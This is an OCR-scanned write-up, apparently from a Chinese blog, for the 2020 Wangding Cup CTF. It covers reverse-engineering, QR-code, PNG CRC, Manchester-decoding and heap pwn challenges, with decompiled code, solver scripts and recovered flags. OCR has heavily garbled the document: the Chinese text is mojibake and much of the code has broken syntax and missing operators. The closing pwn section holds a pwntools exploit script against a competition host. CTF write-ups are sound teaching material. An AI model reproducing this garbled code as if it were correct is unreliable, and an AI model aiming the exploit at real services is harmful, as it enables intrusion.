20202 — JE M A R EHF 53 writeup

LoW o F 2020-05-18 08:30:02 % i o 1096 ﬁ WO 1

SFER: CTF WriteUp X EHREE: MM CTF re

WAL B . AR SO EJRBISCE, #E.CC 4.0 BY-SA FRAUIML, HE0E M LR SCH s AE 1 .
A CEERE: hitps://blog.csdn.net/weixin_44145820/article/details/106173657

AL
- CTF WriteU BRI ANE
9RXEO0ITH
TR B A
H3x
Re
tree
what-go
Misc
QRcode
key
Pwn
JBE V5 5 1]
Re
tree

XA (FRBRBEEN) , HTEbzi T
Fodzh&@47— T, EME T Hk



https://blog.csdn.net/weixin_44145820
https://blog.csdn.net/weixin_44145820/category_9854024.html
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E9%25BC%258E%25E6%259D%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=re&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44145820/article/details/106173657
https://blog.csdn.net/weixin_44145820/category_9854024.html

BATMMA BRI EEERGEA8 (0) BE, 49 (1) BA, MEAEREREHFHUAKENARO1F/H

strepy(v2, "Tlag{xoooaoad - X - X000 XK 00" ) ;
vh = -1;
for (1 =0; ; ++1 )
{
v2 = i;
if ( v2 >= strlen(v3) )
break;
if ( v3[i]
{
++5;
switch ( a1[i] )
{
case '@":
glockflag[4
glockflag[4
glockflag[4
glockflag[4
break;




case "1":
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;

case "2":
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;

case "3":
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflaeld * v5 + 31 = 49:

BIEBRIEFRBXANFRE: 2vziyvosgnzkbjjypjbjdvmsiiyvsjx

lbool _ cdecl parse(int al)
"
| char v2[68]; // [esp+18h] [ebp-58h]
int v3; // [esp+54h] [ebp-14h]
int v4; // [esp+58h] [ebp-18h]

| int v5; f/ [esp+5Ch] [ebp-Ch]
| vhs = 8;
| vd = 0;
| w3 = al;
do
{
if ( glockflag[vs] == 48 )
{
; v3 = *(_DWORD *)(p3 + 12);
' ¥
' else if ( glockflag[v5] == 49 )
' {
| v3 = *(_DWORD *)(v3 + 16);
' ¥
++v5;
if ( *(_BYTE *)v3 > 96 & *( BYTE *)v3 <= 122 )
{
v2[vad++] = *(_BYTE *)v3;
- v3 = al;
' ¥
I
| while ( v5 <= 127 );
|w2[va] = e;

Il return strncmp(“zvzjyvosgnzkbjjjypjbjdvmsjjyvsix™, vz,
1
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'zvzjyvosgnzkbjjjypjbjdvmsjjyvsijx’

[49,48,49,48]
[49,49,49,49]
[48,49,48]
[48,48,48,48]
[49,49,49,48,48]
[49,48,48]
[48,48,49,48]
[49,48,49,49]
[48,49,49,49,49]
[48,48,48,49,48]
[48,49,49,48,49]
[48,49,49,49,48,49,48]
[49,49,49,48,49,49]
[48,49,49,49,48,48]
[]

for i in range(len(target)):

tmp = tree[target[i]]
for num in tmp:
tar2num.append(num)
ansl chr(num)

print len(tar2num)

print ansil

01010101001100100100011001110011011001000100011101010110011010110101100000110001001110010110101001010100011
01000011110000101011101110001010010110110110101011001010101000101101001010000001100010101100000110100010000
01011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110
10010000101000101010100010100100011010101010011001101100011001101111010010011110110101101111001011011110101
10000011001100110110011011100101101001101100011000010100111101110001001101000101100000110100011010110110110
00111011101010010011101110111000101100001
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File Edit Search General Ascii Binary Number About /devinull

Hi510ry5ﬂ5| Clear | < | > ‘InRadix 16 OutRadix |16 BitsPerBlock |4

1000
0101
0111
0100
1111
noo1
0010
0100
1000
noo1
1010
1000
0100
1001
1101
0111
1111
0111
noo1
0010
0000
1111
1000
1001
1100
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"flag{' + target2.replace('\n’,

H— TR, BJ57835IfagAflag{afad1fc8-574f-1248-1a84-9d7f7120f89c}

TR, Hfinderyptd—T, KRI—iKBASE64HIR
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mov Lrsp+168h+a.c* : rbx
call fmt_Scanln
mowv rsi, [rsp+l68h+&input] ; src
mowv rex, [rsi]
mowv [rsp+l68h+a.array], rcx
mowv rex, [rsi+8] ;s _rl
mowv [rsp+158h+a.leng, rex
call main_encode
mowv rcx, [rsp+l6Sh+a.cap] ; cutset
mowv rax, [rsp+l68h+_r2.array]
mowv [rsp+l168h+var_98], rcx
mowv [rsp+l68h+a.array], rcx
mowv [rsp+l168h+var_98], rax
mowv [rsp+l168h+a.len], rax
lea rbx, asc_51F9D8 ; "=="
mowv [rsp+l168h+a.cap], rbx
mowv [rsp+168h+_r2.array], 2
call strings_TrimRight
mowv rdx, [rsp+l68h+pwd.len] ; x
mowv rcx, [rsp+l6Sh+_r2.len] ; e
mowv rax, [rsp+168h+_r2.cap]
cmp rax, rdx
jnz loc_481569
b

A Flencodehi$l, KM —NFERFH LMSHL T — 1 basebdencodingMI R, FEERE#: T base64 R

i iy =

sub rsp, 78h

Xor ebx, ebx

mov [rsp+78h+_rl.str], rbx

mov [rsp+78h+_rl.len], rbx

1ea rbx, aXyzfghi2lhi345 ; "XYZFGHI2+/Jhi345jkImEnopuvwgrABCDKLETE9". ..
mov [rsp+78h+_r2.array], rbx

mov

call

mov rbR=—repalibe ol

mov [rsp+7@h+coder], rbx

1ea rbx, [rsp+78h+var 48]

mov [rsp+7@h+ _r2.array], rbx ; _r2
mov rbx, [rsp+78h+key.str]

mov [rsp+78h+_r2.len], rbx

mov rbx, [rsp+78h+key.len]

mov [rsp+78h+_r2.cap], rbx

call runtime_stringtoslicebyte

mov rdx, [rsp+78h+var 58] ; ril
mov rcx, [rsp+78h+var 58]

mov rax, [rsp+78h+var 48]

mov rbx, [rsp+7@h+coder]

mov [rsp+7@h+_r2.array], rbx ; src
mov [rsp+7@h+var_ 18], rdx

mov [rsp+78h+_r2.len], rdx

mov [rsp+7@h+var_18], rcx

mov [rsp+78h+_r2.cap], rcx

mov [rsp+7@h+var 8], rax

mov Jdh+var 58], rax

call @dring_baseﬁd_Encoding_EncodeTo@
mov rex,  [reprerebeac ool

mov rax, [rsp+/8h+var_48]

mov [rsp+780h+_rl.str], rcx

mons lren+70h+ r1 lenl  raw

3> len("EYZFGHIZH/ Thi345iklmEnopurwar ABCDELAT 39abMiWedefgstOP QRS TUVEyz01 ™)
4
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# coding:utf8
import string
import base64

# G 64T E A RN NI FAF BT Ll6A T st % T
letters 'XYZFGHI2+/3Jhi345jk1lmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVXxyz01 "

def my base64 encodestring(input_str):
# XE—NFHBRascii A unicode #1E, 2RI H#H A2 H %)
str_ascii list ['{:0>8}"'.format(str(bin(ord(i))).replace('0b', '"))
for i in input_str]
output_str v
# PEIHIBET #FAT B HIAE
equal_num = ©
while str_ascii_list:
temp_list str_ascii_list[:3]
if len(temp_list) 3:
while len(temp_list)
equal_num 1
temp_list ['0'*8]
temp_str "'.join(temp_list)
# =A8FIIHI i FHIAN6 F TR A
temp_str_list [temp_str[x:x+6] for x in [0, 6, 12, 18]]
# IR 104 5
temp_str list [int(x, 2) for x in temp_str list]
# FHIBTRE TR BRI IS PE
if equal _num:
temp_str_list = temp_str_list[@:4-equal_num]
output_str '".join([letters[x] for x in temp_str list])
str_ascii_list str_ascii_list[3:]
output_str = output_str =" equal_num
#print(output_str)
return output_str

my base64 decodestring(input_str):
# WE—PFHRET], BIEEHRA2H
str_ascii list ["{:0>6}"'.format(str(bin(letters.index(i))).replace('@b', ""))
for i in input_str if i ‘=1
print str_ascii list
output_str
equal_num input_str.count('=")
while str_ascii_list:
temp_list str_ascii_list[:4]
temp_str ''.join(temp_list)
# FrOE8 LT
if len(temp_str) 8 0:
temp_str = temp_str.ljust(24, '0')
# AT FHHI R F#k H=18FTH
temp_str_list [temp_str[x:x+8] for x in [0, 8, 16]]
# AR 104
temp_str_list [int(x, 2) for x in temp_str_list if x]
output_str ''".join([chr(x) for x in temp_str_list])
str_ascii_list str_ascii_list[4:]
#print(output_str)
return output_str

if _ _name__ " main__":

#input_str = 'What_1is_go a A H'




fRERZE R N: What is go_a A H
i B0 AT 3R 5 flag

:~/ctf/reverse# ./what

please input the key: What is go a A H

flag{e252890b-4f4d-4b85- 88df-671dab1ld78f3}
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from PIL import Image
import zxing #FANEITE
import random

logger = logging.getlLogger(__name_ ) #ID R

if logger.handlers:
logging.basicConfig(level = logging.INFO)

DEBUG = (logging.getlLevelName(logger.getEffectivelevel()) 'DEBUG')  #1ZRFLFE

# 7 2GFT H R I, HEE ava BB 172 1] 8T
def ocr_grcode_zxing(filename):
img = Image.open(filename)
ran = int(random.random() * 100000) # 18 EREPLEHEHI A
img.save( '%s%s.png' (os.path.basename(filename).split('."')[@], ran))
zx = zxing.BarCodeReader() #IHzxing MR A
data v
zxdata zx.decode( '%s%s.png' (os.path.basename(filename).split('."')[@], ran))

RIS XA

os.remove( '%s%s.png’ (os.path.basename(filename).split('."')[@], ran))

if zxdata:
logger.debug(u' zxingiR Al 4D : %s, W% : %s' (filename, zxdata))
data zxdata

else:
logger.error(u'Rillzxing 4D H S : %s ' (filename))
img.save('%s-zxing.png' filename)

return data #28 [5] 12 R P 2%

__main__":

for i in range(1, 577):

filename = r'/root/ctf/misc/QRcode/" str(i) '.png'

# zxing =G IRA)

ltext = ocr_grcode_zxing(filename) #%& A X1FE 58 EHBHE L text & &

data ltext.parsed

if data 'zero':
ans ‘0’

elif data ‘one':
ans "1’

else:

ans
#logger.info(u'[%s]Zxing ZZMGiR%5: [%s]!!1!1" % (filename, Ltext)) #IBRXEIFE

#print(Ltext) #IT EIH = M55 5
print(ans)
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18 2. png BNKalith, $T7RFF, WREERE T B/
import os

import binascii

import struct

misc open("key.png","rb").read()

for i in range(1024, 2048):
data misc[12:20] +struct.pack('>i',i)+ misc[24:29]
crc32 binascii.crc32(data) oxffffffff
if crc32 0x8c25366:

B3P EEN1499, BIOX5DB, Bi—T

1 2 8 9
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00 09 70 48 59 73 00 00 OE C4 00 00 OE C4 01 95 ..pHYs...7...7.7
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https://blog.csdn.net/weixin_44145820/article/details/104635169

295965569a596696995292a969996a6a92669965656969996959669566a56556996692a5656966a566a56656

295965569a596696995a9aa969996a6a9a6699656569699
96959669566a5655699669aa5656966a566a56656

RAE2569aiX JLNNF4F, MEERSMHTRMID, RJE S REES SMHTRE WIS



#!/user/bin/env python2
# -*-coding:utf-8 -*-
def conv(s):
return hex(int(s,2))[2:]

N=0x95965569a596696995a9a2296999626a9a669965656969996959669566a56556996692a5656966a566a56656

s='00"'+bin(n)[2:]
#print bs

for i in range(0,len(bs),2):
if bs[i:i+2]=="10":
normal

else:

for i in range(®,len(normal),8):
tmp=normal[i:i+8][::-1]
#tmp = normal[1:1+8]
ansl+=conv(tmp[:4])
ansl+=conv(tmp[4:])

i in range(1, len(bs)-1, 2):
if bs[i:i+2]=="11" bs[i:i+2]
diff_man+='1"
else:
diff_man+='0"
ENEE] v
for i in range(9,len(diff_man),8):
tmp=diff_man[i:i+8][::-1]
#tmp = normal[1i:1+8]
ans3+=conv(tmp[:4])
ans3+=conv(tmp[4:])

print normal

for i in range(©,len(diff_man),8):
tmp = diff_man[i:i+8]
passwd chr(int(tmp, 2))

print passwd




3 %akura_Love_Strawberry, &5/ TAS, fh b5 sakura_Love_Strawberry

:~/ctf/tool# python Manchest_decode.py
0100010010000011011001001011600110100011160111116011010100111611110110101101001000
10001100110101001100010010110000101110001000001101001011011110001000110010111000
1011100010106001

00010011011000010110101101110101011100100110000101011111010011000110111101110110
01100101010111110101001101110100011100100110000101110111011000100110010101110010
0111001001111001

akura Love Strawberry
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from pwn import

#menu = "Your choice :"

def add(size, content):
print r.recvuntil("Your choice :"
r.sendline('1")
print r.recvuntil("magic cost ?:"
r.sendline(str(size))
print r.recvuntil("name

r.send(content)

def delete(index):
print r.recvuntil("Your choice :"
r.sendline('2")
print r.recvuntil("index :"

r.sendline(str(index))
def show(index):
print r.recvuntil("Your choice :"
r.sendline('3")
print r.recvuntil("index :")
r.sendline(str(index))
remote("59.110.243.101", 54621)

elf = ELF('./magic')

system 0x400A0D

p64(system)*2

payload)

r.interactive()




	2020第二届网鼎杯 朱雀组部分writeup
	目录
	Re
	tree
	what-go

	Misc
	QRcode
	key

	Pwn
	魔法房间



